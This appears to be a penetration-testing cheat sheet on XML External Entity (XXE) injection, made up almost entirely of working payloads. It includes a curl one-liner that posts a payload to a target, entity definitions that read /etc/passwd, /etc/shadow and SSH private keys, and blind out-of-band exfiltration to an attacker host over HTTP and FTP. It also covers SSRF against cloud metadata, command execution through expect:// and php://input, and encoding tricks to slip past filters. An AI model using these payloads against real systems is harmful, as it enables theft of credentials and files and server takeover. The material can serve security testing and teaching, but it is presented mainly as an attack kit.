- Basic XXE
- File Disclosure
- Blind XXE
- Error-Based XXE
- XXE to SSRF
- XXE to RCE
- Filter Bypass
- XInclude Attack
- XXE via File Upload
- Payload Cheat Sheet
# Test XXE with basic payload
echo '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' | curl -X POST -d @- http://$rhost/api -H "Content-Type: application/xml"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://$lhost/evil.dtd">
%xxe;
]>
<root>
<data>&send;</data>
</root><?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/user/.ssh/id_rsa">
]>
<foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<foo>&xxe;</foo><!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://$lhost/?data=%file;'>">
%eval;
%exfiltrate;<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://$lhost/evil.dtd">
%xxe;
]>
<foo>test</foo><!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://$lhost/?data=%file;'>">
%eval;
%exfiltrate;<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://xxe.$lhost/">
%xxe;
]><!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://$lhost:21/%file;'>">
%eval;
%exfiltrate;python3 -m pyftpdlib -p 21 -w<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://$lhost/error.dtd">
%xxe;
]>
<foo>test</foo>Error message will contain file contents.
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:22/">
]>
<foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
]>
<foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1/">
]>
<foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://input">
]>
<foo>&xxe;</foo>POST body: <?php system('id'); ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "jar:http://$lhost/evil.jar!/payload.class">
]>
<foo>&xxe;</foo><?xml version="1.0" encoding="UTF-7"?>
+ADw-!DOCTYPE foo +AFs-
+ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-
+AF0-+AD4-
+ADw-foo+AD4-+ACY-xxe+ADsAPA-/foo+AD4-iconv -f UTF-8 -t UTF-16 payload.xml > payload16.xml<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo><!DOCTYPE%20foo%20[<!ENTITY%20xxe%20SYSTEM%20"file:///etc/passwd">]><foo>&xxe;</foo><!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContent '%start;%file;%end;'>">
]>
<foo>&fileContent;</foo>When you cannot modify DOCTYPE
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo><?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100">
<text x="10" y="20">&xxe;</text>
</svg>- Unzip the file
- Modify
[Content_Types].xmlor other XML files - Inject XXE payload
- Rezip
| Payload | Description |
|---|---|
<!ENTITY xxe SYSTEM "file:///etc/passwd"> |
Read local file |
<!ENTITY xxe SYSTEM "http://$lhost/"> |
SSRF/OOB |
<!ENTITY xxe SYSTEM "php://filter/..."> |
PHP wrapper |
<!ENTITY xxe SYSTEM "expect://id"> |
RCE via expect |
<!ENTITY % xxe SYSTEM "http://$lhost/evil.dtd"> |
External DTD |
<!ENTITY xxe SYSTEM "http://169.254.169.254/"> |
Cloud metadata |
- Web Application Analysis - Reconnaissance and vulnerability discovery
- SSRF - XXE can chain to SSRF
- File Inclusion - LFI/RFI for file reading
- Insecure Deserialization - Similar data parsing vulnerabilities